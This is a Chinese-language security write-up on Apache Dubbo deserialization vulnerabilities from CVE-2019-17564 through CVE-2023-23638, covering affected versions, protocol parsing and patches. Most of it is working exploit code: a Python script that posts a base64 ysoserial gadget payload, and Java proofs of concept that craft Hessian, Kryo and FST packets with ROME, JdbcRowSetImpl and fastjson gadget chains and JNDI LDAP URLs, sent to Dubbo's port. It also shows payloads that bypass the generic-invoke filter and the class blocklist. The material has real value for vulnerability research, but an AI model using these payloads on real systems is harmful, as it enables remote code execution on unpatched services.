dubbo安全漫谈
dubbo历史漏洞串讲
CVE-2019-17564
未复现成功。
版本
- 2.7.0 <= Apache Dubbo <= 2.7.4.1
- 2.6.0 <= Apache Dubbo <= 2.6.7
- Apache Dubbo = 2.5.x
没有复现成功,反正就是http协议,然后会反序列化传输过去的数据。
<dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>java -jar ysoserial.jar CommonsCollections6 calc|base64 -w0
import requests
import base64
url = "http://192.168.1.6:8081/org.apache.dubbo.samples.http.api.DemoService"
payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="
payload = base64.b64decode(payload)
headers = {"Content-Type": "application/x-java-serialized-object"}
res = requests.post(url,headers=headers,data=payload)
print(res.text)环境
C:\myapps\apache-zookeeper-3.7.2\bin>zkServer.cmd
https://github.com/Armandhe-China/ApacheDubboSerialVulndubbo 协议
官网也说到了这个协议的格式。
https://dubbo.apache.org/zh/docs/concepts/rpc-protocol/#protocol-spec 跟着官方的文档都是可以一一对应上的。
部分poc如下。
byte[] header = new byte[16];
// 0xdabb Identifies dubbo protocol with value
Bytes.short2bytes((short) 0xdabb, header);
// 10000010 第一个 Request 1; Response 0 后5位 Identifies serialization type 具体可以看下面那个map。这里是2
header[2] = (byte) ((byte) 0x80 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
out.writeUTF("2.0.2");
out.writeUTF("com.arliya.dubbo.api.Person");
out.writeUTF("0.0.0");
// out.writeUTF("sayHello"); // 2020-1948
out.writeUTF("$invoke"); // 2020-11195
out.writeUTF("Ljava/util/Map;"); // 这里指定henssian反序列化的类型。
out.writeObject(s);
out.writeObject(new HashMap());
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
// 请求数据的长度
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);provider这边一样一样的都读出来。然后放到attachment属性里面。
public Object decode(Channel channel, InputStream input) throws IOException {
ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), serializationType)
.deserialize(channel.getUrl(), input);
String dubboVersion = in.readUTF();
request.setVersion(dubboVersion);
setAttachment(DUBBO_VERSION_KEY, dubboVersion);
String path = in.readUTF();
setAttachment(PATH_KEY, path);
setAttachment(VERSION_KEY, in.readUTF());
setMethodName(in.readUTF());
String desc = in.readUTF();
setParameterTypesDesc(desc);
。。。。。。
具体解析 代码可以看这些地方。dubbo 版本2.7.3 可以看到 decodeBody:132, DubboCodec
decodeBody:132, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo) // 解析 header ,可以看到对header不同的值进行不同的处理。
decode:93, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo) // 解析bodyCVE-2020-1948
这里的 EqualsBean 和 ToStringBean 可以看一下 Hessian_JNDI 那个链子。打的是rome反序列化。
2.7.0 <= Dubbo Version <= 2.7.6
2.6.0 <= Dubbo Version <= 2.6.7
Dubbo 所有 2.5.x 版本(官方团队目前已不支持)这个地方用的是dubbo协议。其实这里打的就是hessian反序列化这个已经比较熟悉了。 看一下这个数据包。
典型的三次握手和四次挥手。dabb是dubbo的协议头。里面有hessian序列化的数据,然后 c 发送。s 确认收到。然后s再发。

poc
package com.arliya.dubbo.main;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;
public class CVE2020194811995 {
public static void main(String[] args) throws Exception{
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:1389/Basic/Command/calc.exe");
rs.setMatchColumn("foo");
Utils.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = Utils.makeMap(root, "root");
byte[] header = new byte[16];
// 0xdabb Identifies dubbo protocol with value
Bytes.short2bytes((short) 0xdabb, header);
// 10000010 第一个 Request 1; Response 0 后5位 Identifies serialization type `fastjson is 6`
header[2] = (byte) ((byte) 0x80 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
out.writeUTF("2.0.2");
out.writeUTF("com.arliya.dubbo.api.Person");
out.writeUTF("0.0.0");
// out.writeUTF("sayHello"); // 2020-1948
out.writeUTF("$invoke"); // 2020-11195
out.writeUTF("Ljava/util/Map;"); // 这里指定henssian反序列化得类型。
out.writeObject(s);
out.writeObject(new HashMap());
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
// 请求数据的长度
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}修复

public static boolean isGenericCall(String path, String method) {
return $INVOKE.equals(method) || $INVOKE_ASYNC.equals(method);
}CVE-2020-11995
Dubbo 2.7.0 ~ 2.7.8
Dubbo 2.6.0 ~ 2.6.8
Dubbo 所有 2.5.x 版本其实就是对上个cve的绕过。 该一下这个方法就行。
// out.writeUTF("sayHello");
out.writeUTF("$invoke");修复
这个地方多加了一些过滤 。
public static boolean isGenericCall(String parameterTypesDesc, String method) {
return ("$invoke".equals(method) || "$invokeAsync".equals(method)) && "Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;".equals(parameterTypesDesc);
}CVE-2021-25641
基础 dubbo-common <=2.7.3
Dubbo 2.7.0 to 2.7.8
Dubbo 2.6.0 to 2.6.9
Dubbo all 2.5.x versions (not supported by official team any longer)重点在于不同的反序列化方式。
Dubbo服务在没有配置协议的情况下,默认使用dubbo协议,dubbo协议默认使用hessian2进行序列化传输对象。hessian2反序列化只是其中一个攻击面,太局限,而且hessian2可能会提供黑白名单的限制。所以需要尝试扩展攻击面,此漏洞应运而生。
但是大致意思就是 如果 hessian 设置了黑名单。可以尝试用其它的 readObject 。前面也说dubbo协议的时候也说到了那个map。里面有不同序列化方式所对应的id。
也就是 header 的第三个 字节 里面 最后的5个 byte。
Object templates = Utils.createTemplatesImpl("calc");
JSONObject jo = new JSONObject();
jo.put("oops",templates);
// jo.toJSONString();
Object gadgetChain = Utils.makeXStringToStringTrigger(jo);
gadgetChain.toString();makeXStringToStringTrigger 是yso里面的方法。这里给出两种不同的序列化方式。
package com.arliya.dubbo.main;
import com.alibaba.fastjson.JSONObject;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.ObjectOutput;
import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;
public class CVE202125641 {
public static String SerType = "Kyro";
public static Object getGadgetsObj(String cmd) throws Exception{
//Make TemplatesImpl
Object templates = Utils.createTemplatesImpl(cmd);
//Make FastJson Gadgets Chain
JSONObject jo = new JSONObject();
jo.put("oops",templates);
return Utils.makeXStringToStringTrigger(jo);
}
public static void main(String[] args) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] header = new byte[16];
ObjectOutput objectOutput;
Bytes.short2bytes((short) 0xdabb, header);
switch (SerType) {
case "FST":
objectOutput = new FstObjectOutput(baos);
header[2] = (byte) ((byte) 0x80 | (byte)9 | (byte) 0x40);
break;
case "Kyro":
default:
objectOutput = new KryoObjectOutput(baos);
header[2] = (byte) ((byte) 0x80 | (byte)8 | (byte) 0x40);
break;
}
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
objectOutput.writeUTF("2.0.2");
objectOutput.writeUTF("org.apache.dubbo.samples.basic.api.DemoService");
objectOutput.writeUTF("0.0.0");
// objectOutput.writeUTF("sayHello");
objectOutput.writeUTF("$invoke");
objectOutput.writeUTF("Ljava/lang/String;"); //*/
objectOutput.writeObject(getGadgetsObj("calc"));
objectOutput.writeObject(null);
objectOutput.flushBuffer();
//Transform ObjectOutput to bytes payload
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Bytes.int2bytes(baos.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(baos.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//Send Payload
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}CVE-2021-30179
Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
Apache Dubbo all 2.5.x versions (官方已不再提供支持)我这里说几个比较关键的点。
DecodeableRpcInvocation,decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
invoke:110, GenericFilter (org.apache.dubbo.rpc.filter)
realize0:454, PojoUtils (org.apache.dubbo.common.utils)
toObjectImpl:34, JndiConverter (org.apache.xbean.propertyeditor) # 这个地方也可以触发jndi注入。DecodeableRpcInvocation,decode
这个地方注意 这里的 map.put("generic", "raw.return"); 虽然是我们最后out.writeObject的provider那边最后in.readAttachments 出来的。但是最后都合并到了 attachment 里面。
Map<String, Object> map = in.readAttachments();
if (map != null && map.size() > 0) {
Map<String, Object> attachment = getObjectAttachments();
if (attachment == null) {
attachment = new HashMap<>();
}
attachment.putAll(map);
setObjectAttachments(attachment);
}invoke:110, GenericFilter
这里读出map中generic所对应的值,然后这里有几个不同的分支。前三个都是可以打的。
String generic = inv.getAttachment(GENERIC_KEY);
if (StringUtils.isEmpty(generic)
|| ProtocolUtils.isDefaultGenericSerialization(generic)
|| ProtocolUtils.isGenericReturnRawResult(generic)) {
args = PojoUtils.realize(args, params, method.getGenericParameterTypes());
} else if (ProtocolUtils.isJavaGenericSerialization(generic)) {
} else if (ProtocolUtils.isBeanGenericSerialization(generic)) {
} else if (ProtocolUtils.isProtobufGenericSerialization(generic)) {
}realize0:454, PojoUtils
这个pojo就是我们当时 out.writeObject 进去的 LinkedHashMap。前两个类型的if里面也进不去。
注意一下这个isArray(),一会儿下个漏洞的时候会用到它。
然后就是获取class,对应的value进行实例化,然后调用每一个entry的key对应的set方法,然后value为值。
private static Object realize0(Object pojo, Class<?> type, Type genericType, final Map<Object, Object> history) {
if (pojo.getClass().isArray()) {
}
if (pojo instanceof Collection<?>) {
}
if (pojo instanceof Map<?, ?> && type != null) {
Object className = ((Map<Object, Object>) pojo).get("class");
}这里JdbcRowSetImpl和JndiConverter都可以用,LinkedHashMap可以让数据传输过程中map里面存放的entry的顺序不会发生改变。
private static void getRawReturnPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
// HashMap jndi = new HashMap();
// jndi.put("class", "org.apache.xbean.propertyeditor.JndiConverter");
// jndi.put("asText", ldapUri);
// out.writeObject(new Object[]{jndi});
// HashMap map = new HashMap();
// map.put("generic", "raw.return");
// out.writeObject(map);
HashMap jndi = new LinkedHashMap();
jndi.put("class", "com.sun.rowset.JdbcRowSetImpl");
jndi.put("dataSourceName", ldapUri);
jndi.put("autoCommit", ldapUri);
out.writeObject(new Object[]{jndi});
HashMap map = new HashMap();
map.put("generic", "raw.return");
out.writeObject(map);
}当然可可以用下面这两种方法。
private static void getBeanPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor("org.apache.xbean.propertyeditor.JndiConverter",7);
javaBeanDescriptor.setProperty("asText",ldapUri);
out.writeObject(new Object[]{javaBeanDescriptor});
HashMap map = new HashMap();
map.put("generic", "bean");
out.writeObject(map);
}
private static void getNativeJavaPayload(Hessian2ObjectOutput out, String serPath) throws IOException {
byte[] payload = getBytesByFile(serPath);
out.writeObject(new Object[] {payload});
HashMap map = new HashMap();
map.put("generic", "nativejava");
out.writeObject(map);
}Bean的话,也是先实例化,然后调用set方法。
修复
前两种方法,实例化的时候会检查实例化的这个类。可以打断点看一下。
SerializeClassChecker.validateClass((String)className);NativeJava修复
配置文件中判断是否支持Java反序列化,默认为false。

CVE-2021-43279
漏洞环境 2.7.14
这个漏洞主要是因为hessian引起的。
com.alibaba.com.caucho.hessian.io.Hessian2Output#writeString(java.lang.String)
就是在provider解析数据的时候,本应该是in.readUTF()。
但是我们构造数据包的时候用的是 out.writeObject(payload());
结果provider解析异常,然后会触发 payload() 的toString 方法。
如果此时如果有toString2rce的gadget。就会有被攻击的风险。
DecodeableRpcInvocation,decode public static void main(String[] args) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] header = new byte[16];
Bytes.short2bytes((short) 0xdabb, header);
header[2] = (byte) ((byte) 0x80 | 2);
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
out.writeUTF("2.0.2");
// 此处本应填写Dubbo提供的服务名 out.writeUTF("com.arliya.dubbo.api.Person");
out.writeObject(payload());
也可以通过重写方法 https://paper.seebug.org/1814/
修复

CVE-2023-23638
和 CVE-2021-30179 是相对应的。
存在漏洞版本 | 安全版本 |
2.7.x <= 2.7.21 | 2.7.x >= 2.7.22 |
3.0.x <= 3.0.13 | 3.0.x >= 3.0.14 |
3.1.x <= 3.1.5 | 3.1.x >= 3.1.6 |
上面说到 CVE-2021-30179 之后新增了黑白名单。
SerializeClassChecker.validateClass((String)className); public void validateClass(String name) {
........
for (String allowedPrefix : CLASS_DESERIALIZE_ALLOWED_SET) {
if (name.startsWith(allowedPrefix)) {
CLASS_ALLOW_LFU_CACHE.put(name, CACHE);
return;
}
}
for (String blockedPrefix : CLASS_DESERIALIZE_BLOCKED_SET) {
if (BLOCK_ALL_CLASS_EXCEPT_ALLOW || name.startsWith(blockedPrefix)) {
CLASS_BLOCK_LFU_CACHE.put(name, CACHE);
error(name);
}
}
CLASS_ALLOW_LFU_CACHE.put(name, CACHE);
}第一步
把 CLASS_DESERIALIZE_ALLOWED_SET 对应的类的属性增加我们需要利用的类。
或者将CLASS_DESERIALIZE_BLOCKED_SET滞空即可。
第二步
和CVE-2021-30179一样
补丁
PojoUtils.realize0
此处forName((String) className)之后会检查该类有没有实现了 Serializable 接口
if (pojo instanceof Map<?, ?> && type != null) {
Map<Object, Object> map = (Map<Object, Object>) pojo;
Object className = ((Map<Object, Object>) pojo).get("class");
if (className instanceof String) {
SerializeClassChecker.getInstance().validateClass((String) className);
try {
type = ClassUtils.forName((String) className);
if (GENERIC_WITH_CLZ) {
map.remove("class");
}
} catch (ClassNotFoundException e) {
// ignore
}
SerializeClassChecker.getInstance().validateClass(type);
}ref
https://xz.aliyun.com/news/11779
https://exp10it.io/2023/03/apache-dubbo-cve-2023-23638-analysis/
文章源码